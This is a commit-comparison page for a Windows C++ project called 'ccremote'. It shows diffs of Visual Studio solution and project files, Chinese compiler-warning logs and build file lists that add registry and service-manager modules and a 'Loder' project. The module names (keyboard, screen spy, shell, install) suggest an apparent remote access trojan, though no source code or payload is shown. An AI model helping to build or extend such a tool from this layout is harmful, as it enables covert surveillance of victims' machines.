Compare commits
24 Commits
20200620.1
...
20200701.1
Author | SHA1 | Date | |
---|---|---|---|
![]() |
ac601b4a57 | ||
![]() |
78d2e5d193 | ||
![]() |
e6bf19d7d0 | ||
![]() |
57ddc97543 | ||
![]() |
af1ee77a38 | ||
![]() |
18b6093b62 | ||
![]() |
fe08644d48 | ||
![]() |
dc7e4d9ae2 | ||
![]() |
7eb48f2436 | ||
![]() |
bd7c98b42d | ||
![]() |
9a966988ae | ||
![]() |
bb75d929cc | ||
![]() |
17da000043 | ||
![]() |
910efd3d65 | ||
![]() |
2017d98ea3 | ||
![]() |
b7c685728f | ||
![]() |
e88d617fd6 | ||
![]() |
179ee30dc8 | ||
![]() |
f62203ff80 | ||
![]() |
4ef747d0db | ||
![]() |
b118b49309 | ||
![]() |
219e47e8e2 | ||
![]() |
84c52cb895 | ||
![]() |
b2c6fc3a23 |
BIN
CcMainDll/.vs/CcMainDll/v15/Solution.VC.db-shm
Normal file
BIN
CcMainDll/.vs/CcMainDll/v15/Solution.VC.db-wal
Normal file
@@ -7,6 +7,8 @@ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CcMainDll", "CcMainDll\CcMa
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TestLoadDll", "TestLoadDll\TestLoadDll.vcxproj", "{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}"
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Loder", "Loder\Loder.vcxproj", "{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x64 = Debug|x64
|
||||
@@ -31,6 +33,14 @@ Global
|
||||
{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}.Release|x64.Build.0 = Release|x64
|
||||
{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}.Release|x86.ActiveCfg = Release|Win32
|
||||
{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}.Release|x86.Build.0 = Release|Win32
|
||||
{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Debug|x64.Build.0 = Debug|x64
|
||||
{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Debug|x86.Build.0 = Debug|Win32
|
||||
{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Release|x64.ActiveCfg = Release|x64
|
||||
{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Release|x64.Build.0 = Release|x64
|
||||
{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Release|x86.ActiveCfg = Release|Win32
|
||||
{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Release|x86.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
|
@@ -90,7 +90,7 @@
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<SDLCheck>false</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;CCMAINDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;CCMAINDLL_EXPORTS;_WINDOWS;_USRDLL;ZLIB_WINAPI;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>false</ConformanceMode>
|
||||
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
@@ -101,8 +101,9 @@
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableUAC>false</EnableUAC>
|
||||
<AdditionalDependencies>..\..\common\zlib\zlib.lib;Wininet.lib;Shlwapi.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalDependencies>..\..\common\zlib\ZlibStatRelease\zlibstat.lib;Wininet.lib;Shlwapi.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalOptions> /SAFESEH:NO /Zc:strictStrings %(AdditionalOptions)</AdditionalOptions>
|
||||
<AdditionalLibraryDirectories>..\..\common\zlib\ZlibStatRelease</AdditionalLibraryDirectories>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
@@ -132,7 +133,7 @@
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>false</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;CCMAINDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;CCMAINDLL_EXPORTS;_WINDOWS;_USRDLL;ZLIB_WINAPI;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>false</ConformanceMode>
|
||||
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
@@ -144,8 +145,9 @@
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableUAC>false</EnableUAC>
|
||||
<AdditionalDependencies>..\..\common\zlib\zlib.lib;Wininet.lib;Shlwapi.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalDependencies>..\..\common\zlib\ZlibStatRelease\zlibstat.lib;Wininet.lib;Shlwapi.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalOptions> /SAFESEH:NO /Zc:strictStrings %(AdditionalOptions)</AdditionalOptions>
|
||||
<AdditionalLibraryDirectories>..\..\common\zlib\ZlibStatRelease</AdditionalLibraryDirectories>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
@@ -186,8 +188,11 @@
|
||||
<ClInclude Include="common\loop.h" />
|
||||
<ClInclude Include="common\Manager.h" />
|
||||
<ClInclude Include="common\RegEditEx.h" />
|
||||
<ClInclude Include="common\RegeditOpt.h" />
|
||||
<ClInclude Include="common\RegManager.h" />
|
||||
<ClInclude Include="common\ScreenManager.h" />
|
||||
<ClInclude Include="common\ScreenSpy.h" />
|
||||
<ClInclude Include="common\ServerManager.h" />
|
||||
<ClInclude Include="common\ShellManager.h" />
|
||||
<ClInclude Include="common\SystemManager.h" />
|
||||
<ClInclude Include="common\until.h" />
|
||||
@@ -252,6 +257,14 @@
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\RegeditOpt.cpp">
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\RegManager.cpp">
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\ScreenManager.cpp">
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
@@ -260,6 +273,10 @@
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\ServerManager.cpp">
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\ShellManager.cpp">
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
|
@@ -90,6 +90,15 @@
|
||||
<ClInclude Include="..\..\common\zlib\zlib.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="common\ServerManager.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="common\RegeditOpt.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="common\RegManager.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="dllmain.cpp">
|
||||
@@ -155,5 +164,14 @@
|
||||
<ClCompile Include="StrCry.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\ServerManager.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\RegeditOpt.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\RegManager.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
</Project>
|
@@ -56,23 +56,23 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(214): warning C4996: 's
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(215): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
KernelManager.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(192): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(192): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(218): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(218): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(256): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(256): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(275): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(275): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(276): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(276): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(194): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(194): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(220): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(220): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(258): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(258): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(277): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(277): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(310): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(310): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(278): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(278): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(279): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(279): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(312): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(312): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(43): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(146): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(146): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(154): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(154): warning C4309: “初始化”: 截断常量值
|
||||
KeyboardManager.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(33): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(307): warning C4018: “<”: 有符号/无符号不匹配
|
||||
@@ -100,6 +100,23 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(124): warning C4996:
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(151): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
RegeditOpt.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(71): warning C4305: “=”: 从“<unnamed-enum-TRANSFER_MODE_NORMAL>”到“char”截断
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(71): warning C4309: “=”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(83): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(55): warning C4101: “DateSize”: 未引用的局部变量
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(54): warning C4101: “Type”: 未引用的局部变量
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(54): warning C4101: “NameSize”: 未引用的局部变量
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(126): warning C4305: “=”: 从“<unnamed-enum-TRANSFER_MODE_NORMAL>”到“char”截断
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(126): warning C4309: “=”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(164): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(98): warning C4101: “szKeyName”: 未引用的局部变量
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(106): warning C4101: “KeySize”: 未引用的局部变量
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(182): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
RegManager.cpp
|
||||
ScreenManager.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenmanager.cpp(5): warning C4005: “_WIN32_WINNT”: 宏重定义
|
||||
d:\windows kits\10\include\10.0.17763.0\shared\sdkddkver.h(216): note: 参见“_WIN32_WINNT”的前一个定义
|
||||
@@ -107,6 +124,8 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenmanager.cpp(5): warning C4005
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(379): warning C4018: “>”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(400): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(419): warning C4018: “<”: 有符号/无符号不匹配
|
||||
ServerManager.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\servermanager.cpp(291): warning C4102: “defaute”: 未引用的标签
|
||||
ShellManager.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\shellmanager.cpp(52): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
@@ -123,6 +142,7 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(35): warning C4309:
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(124): warning C4101: “gCapTureParms”: 未引用的局部变量
|
||||
VideoManager.cpp
|
||||
正在生成代码...
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(113): warning C4700: 使用了未初始化的局部变量“NameSize”
|
||||
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
|
||||
FileManager.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(213): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
|
@@ -1,7 +1,3 @@
|
||||
f:\myapp\ccremote\bin\server\ccmaindll.lib
|
||||
f:\myapp\ccremote\bin\server\ccmaindll.exp
|
||||
f:\myapp\ccremote\bin\server\ccmaindll.ipdb
|
||||
f:\myapp\ccremote\bin\server\ccmaindll.iobj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.pch
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\vc141.pdb
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\pch.obj
|
||||
@@ -14,8 +10,11 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\release\videomanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\videocap.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\systemmanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\shellmanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\servermanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\screenspy.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\screenmanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\regmanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\regeditopt.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\regeditex.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\manager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\kernelmanager.obj
|
||||
@@ -25,13 +24,8 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\release\audiomanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\filemanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\strcry.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\dllmain.obj
|
||||
f:\myapp\ccremote\bin\server\ccmaindll.dll
|
||||
f:\myapp\ccremote\bin\server\ccmaindll.pdb
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\..\..\bin\server\ccmaindll.dll
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\ccmaindll.write.1u.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.command.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.read.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.write.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.command.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.read.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.write.1.tlog
|
||||
|
@@ -58,23 +58,23 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(215): warning C4996: 's
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(214): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明
|
||||
KernelManager.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(192): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(192): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(218): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(218): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(256): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(256): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(275): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(275): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(276): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(276): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(194): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(194): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(220): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(220): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(258): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(258): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(277): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(277): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(310): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(310): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(278): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(278): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(279): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(279): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(312): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(312): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(43): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(146): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(146): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(154): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(154): warning C4309: “初始化”: 截断常量值
|
||||
Manager.cpp
|
||||
RegEditEx.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(10): warning C4996: 'strnicmp': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strnicmp. See online help for details.
|
||||
@@ -99,6 +99,23 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(121): warning C4996:
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(122): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
|
||||
RegeditOpt.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(71): warning C4305: “=”: 从“<unnamed-enum-TRANSFER_MODE_NORMAL>”到“char”截断
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(71): warning C4309: “=”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(83): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(55): warning C4101: “DateSize”: 未引用的局部变量
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(54): warning C4101: “Type”: 未引用的局部变量
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(54): warning C4101: “NameSize”: 未引用的局部变量
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(126): warning C4305: “=”: 从“<unnamed-enum-TRANSFER_MODE_NORMAL>”到“char”截断
|
||||
